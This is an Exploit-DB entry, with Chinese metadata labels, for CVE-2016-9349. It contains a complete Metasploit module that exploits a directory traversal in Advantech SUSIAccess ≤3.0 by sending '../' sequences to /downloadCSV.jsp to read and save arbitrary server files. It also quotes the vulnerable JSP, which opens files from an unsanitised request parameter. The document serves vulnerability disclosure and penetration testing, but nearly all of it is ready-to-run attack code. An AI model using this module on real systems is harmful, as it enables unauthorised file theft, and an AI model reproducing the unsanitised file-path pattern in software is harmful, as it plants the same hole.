标题: Advantech SUSIAccess < 3.0 - Directory Traversal / Information Disclosure (Metasploit) EDB-ID: 42401 CVE: 2016-9349 类型: WEBAPPS 平台: JSP 发布日期: 2017-08-01 漏洞利用脚本: require 'msf/core'

class MetasploitModule < Msf::Auxiliary
 Rank = GreatRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Advantech SUSIAccess Server Directory Traversal Information Disclosure',
   'Description'    => %q{
    This module exploits an information disclosure vulnerability found in
    Advantech SUSIAccess <= version 3.0. The vulnerability is triggered when
    sending a GET request to the server with a series of dot dot slashes (../)
    in the file parameter. 
   },
   'Author'         => [ 'james fitts' ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'CVE', '2016-9349' ],
     [ 'ZDI', '16-628' ],
     [ 'BID', '94629' ],
     [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-336-04' ]
    ],
   'DisclosureDate' => 'Dec 13 2016'))

  register_options(
   [
    OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 10]),
    OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
    Opt::RPORT(8080)
   ], self.class )
 end

 def run

 depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
 levels = "/" + ("../" * depth)

 file = "#{levels}#{datastore['FILE']}"
 file = file.gsub(/ /, "%20")

 res = send_request_raw({
  'method' => 'GET',
  'uri'  => "/downloadCSV.jsp?file=#{file}",
 })

 if res and res.code == 200
  loot = res.body
  if not loot or loot.empty?
   print_status("File from #{rhost}:#{rport} is empty...")
   return
  end
  file = ::File.basename(datastore['FILE'])
  path = store_loot('advantech_susiaccess.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
  print_status("Stored #{datastore['FILE']} to #{path}")
  return
 else
  print_error("Something went wrong... Application returned a #{res.code}")
 end

 end
end
__END__
<%@ page import="java.util.*,java.io.*" %>               
<%
 File f = new File (getServletContext().getRealPath("/") + request.getParameter("file") );
 //set the content type(can be excel/word/powerpoint etc..)
 response.setContentType ("application/csv");
 //set the header and also the Name by which user will be prompted to save
 response.setHeader ("Content-Disposition", "attachment; filename=\""+request.getParameter("file").split("/")[2] +"\"");
 
 //get the file name
 String name = f.getName().substring(f.getName().lastIndexOf("/") + 1,f.getName().length());
 //OPen an input stream to the file and post the file contents thru the 
 //servlet output stream to the client m/c
 
  InputStream in = new FileInputStream(f);
  ServletOutputStream outs = response.getOutputStream();
  
  
  int bit = 256;
  int i = 0;
  try {
   while ((bit) >= 0) {
    bit = in.read();
    outs.write(bit);
   }
   //System.out.println("" +bit);
  } catch (IOException ioe) {
   ioe.printStackTrace(System.out);
  }
//  System.out.println( "n" + i + " bytes sent.");
//  System.out.println( "n" + f.length() + " bytes sent.");
  outs.flush();
  outs.close();
  in.close(); 

%> URL: https://www.exploit-db.com/exploits/42401